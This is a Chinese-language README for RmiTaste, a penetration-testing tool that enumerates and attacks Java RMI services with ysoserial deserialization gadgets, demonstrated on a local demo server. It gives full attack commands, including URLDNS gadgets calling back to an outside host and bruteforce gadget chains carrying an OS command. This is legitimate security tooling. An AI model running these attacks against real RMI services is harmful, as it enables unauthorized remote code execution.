RmiTaste 允许安全专业人员通过使用 ysoserial 中的小工具调用远程方法来检测、枚举、交互和攻击 RMI 服务。它还允许使用特定参数调用远程方法。
RmiTaste 旨在帮助安全专业人员识别系统中不安全的 RMI 服务,前提是用户已获得攻击该系统的许可。未经授权访问计算机系统是非法的,RmiTaste 必须遵守所有相关法律。否则可能导致您被起诉。RmiTaste 的开发者不承担任何责任,也不对因使用本程序造成的任何误用或损害负责。
需要 openjdk 11.0.3。
mvn package
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste -h
__________ ._____________ __
\______ \ _____ |__\__ ___/____ _______/ |_ ____
| _// \| | | | \__ \ / ___/\ __\/ __ \
| | \ Y Y \ | | | / __ \_\___ \ | | \ ___/
|____|_ /__|_| /__| |____| (____ /____ > |__| \___ >
\/ \/ \/ \/ \/
@作者 Marcin Ogorzelski (mzero - @_mzer0) STM Solutions
警告:RmiTaste 旨在帮助安全专业人员识别系统中 RMI 服务的不安全使用,前提是用户已获得攻击该系统的许可。
必须遵守所有相关法律,否则可能导致起诉。
开发者不承担任何责任,也不对因使用本程序造成的任何误用或损害负责。
RmiTaste 有 4 种模式:conn、enum、attack 和 call。每种模式都有独立的帮助。
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste -h
(...)
用法:<主类> [-h] [命令]
-h, --help 显示此帮助消息
命令:
conn 检查与主机的连接
enum 枚举 RMI 服务
attack 攻击 RMI 注册表方法
call 在 RMI 远程对象上调用特定方法
Conn 模式允许检查端口是否为 RMI 服务端口。
# 检查 127.0.0.1:1099 是否为 RMI 服务
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste conn -t 127.0.0.1 -p 1099
Enum 模式允许获取 RMI 服务的信息,例如:远程对象名称以及远程对象实现或继承的类名。如果远程对象实现的接口在 RmiTaste 类路径中可用,则 RmiTaste 将打印所有可以在此远程对象上调用的远程方法。
# RMI 服务枚举
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste enum -t 127.0.0.1 -p 1099
Attack 模式允许使用 ysoserial 中的特定小工具链调用远程方法。假设远程对象具有以下方法:
acc1 [对象] [127.0.1.1:38293]
实现 java.rmi.Remote [接口]
扩展 java.lang.reflect.Proxy [类]
实现 m0.rmitaste.example.server.ClientAccount [接口]
setPin(java.lang.String param0); [方法]
参数: param0; 可能容易受到 Java 反序列化攻击![信息]
getBalance(); [方法]
deposit(java.lang.Object param0); [方法]
参数: param0; 可能容易受到 Java 反序列化攻击![信息]
withdraw(float param0); [方法]
# 使用 URLDNS 小工具作为参数调用所有远程方法
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t 127.0.0.1 -p 1099 -g "URLDNS" -c "http://rce.mzero.pl"
# 使用 URLDNS 小工具作为参数调用 acc1:m0.rmitaste.example.server.ClientAccount:deposit 方法
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:deposit" -g "URLDNS" -c "http://rce.mzero.pl"
选项 "-gen bruteforce" 允许使用 ysoserial 中的小工具对远程方法进行暴力破解。在此示例中,deposit 方法将使用 ysoserial 中的小工具多次调用。
# 使用 ysoserial 中的小工具调用 acc1:m0.rmitaste.example.server.ClientAccount:deposit 方法,命令为 ping 127.0.0.1
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste attack -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:deposit" -gen bruteforce -c "ping 127.0.0.1"
Call 模式允许在 RMI 远程对象上调用特定方法。假设远程对象具有以下方法:
acc1 [对象] [127.0.1.1:38293]
实现 java.rmi.Remote [接口]
扩展 java.lang.reflect.Proxy [类]
实现 m0.rmitaste.example.server.ClientAccount [接口]
setPin(java.lang.String param0); [方法]
参数: param0; 可能容易受到 Java 反序列化攻击![信息]
getBalance(); [方法]
deposit(java.lang.Object param0); [方法]
参数: param0; 可能容易受到 Java 反序列化攻击![信息]
withdraw(float param0); [方法]
# 在 acc1 远程对象上调用 m0.rmitaste.example.server.ClientAccount.getBalance 方法
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste call -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:getBalance"
# 在 acc1 远程对象上调用 m0.rmitaste.example.server.ClientAccount.setPin("1234") 方法
java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste call -t 127.0.0.1 -p 1099 -m "acc1:m0.rmitaste.example.server.ClientAccount:setPin" -mp "string=1234"
演示服务器可在此 链接 获取。
运行演示服务器。
枚举目标。
root@keyisinyourmind:/media/sf_pentest2/Tools/python/Toolset/Others/RmiTasteTool# java -cp ".:libs_attack/*:target/rmitaste-1.0-SNAPSHOT-all.jar" m0.rmitaste.RmiTaste enum -t 127.0.0.1 -p 1099
acc1 [对象] [127.0.1.1:42881]
扩展 java.rmi.server.RemoteObjectInvocationHandler [类]
实现 java.rmi.Remote [接口]
扩展 java.lang.reflect.Proxy [类]
扩展 java.rmi.server.RemoteObject [类]
实现 m0.rmitaste.example.server.ClientAccount [接口]
未找到方法。我没有远程对象接口。请提供给我!
acc2 [对象] [127.0.1.1:42881]
扩展 java.rmi.server.RemoteObjectInvocationHandler [类]
实现 java.rmi.Remote [接口]
扩展 java.lang.reflect.Proxy [类]
扩展 java.rmi.server.RemoteObject [类]
实现 m0.rmitaste.example.server.ClientAccount [接口]
未找到方法。我没有远程对象接口。请提供给我!
如您所见,RmiTaste 需要远程对象的接口。在渗透测试中,您需要找到此接口。在本示例中,只需将 rmitaste.examples-1.0-SNAPSHOT-all.jar 复制到 libs_attack 目录中。 再次枚举目标:
acc1 [对象] [127.0.1.1:42881]
扩展 java.rmi.server.RemoteObjectInvocationHandler [类]
实现 java.rmi.Remote [接口]
扩展 java.lang.reflect.Proxy [类]
扩展 java.rmi.server.RemoteObject [类]
实现 m0.rmitaste.example.server.ClientAccount [接口]
setPin(java.lang.String param0); [方法]
参数: param0; 可能容易受到 Java 反序列化攻击![信息]
getBalance(); [方法]
deposit(java.lang.Object param0); [方法]
参数: param0; 可能容易受到 Java 反序列化攻击![信息]
withdraw(float param0); [方法]
acc2 [对象] [127.0.1.1:42881]
扩展 java.rmi.server.RemoteObjectInvocationHandler [类]
实现 java.rmi.Remote [接口]
扩展 java.lang.reflect.Proxy [类]
扩展 java.rmi.server.RemoteObject [类]
实现 m0.rmitaste.example.server.ClientAccount [接口]
setPin(java.lang.String param0); [方法]
参数: param0; 可能容易受到 Java 反序列化攻击![信息]
getBalance(); [方法]
deposit(java.lang.Object param0); [方法]
参数: param0; 可能容易受到 Java 反序列化攻击![信息]
withdraw(float param0); [方法]
Twitter: @_mzer0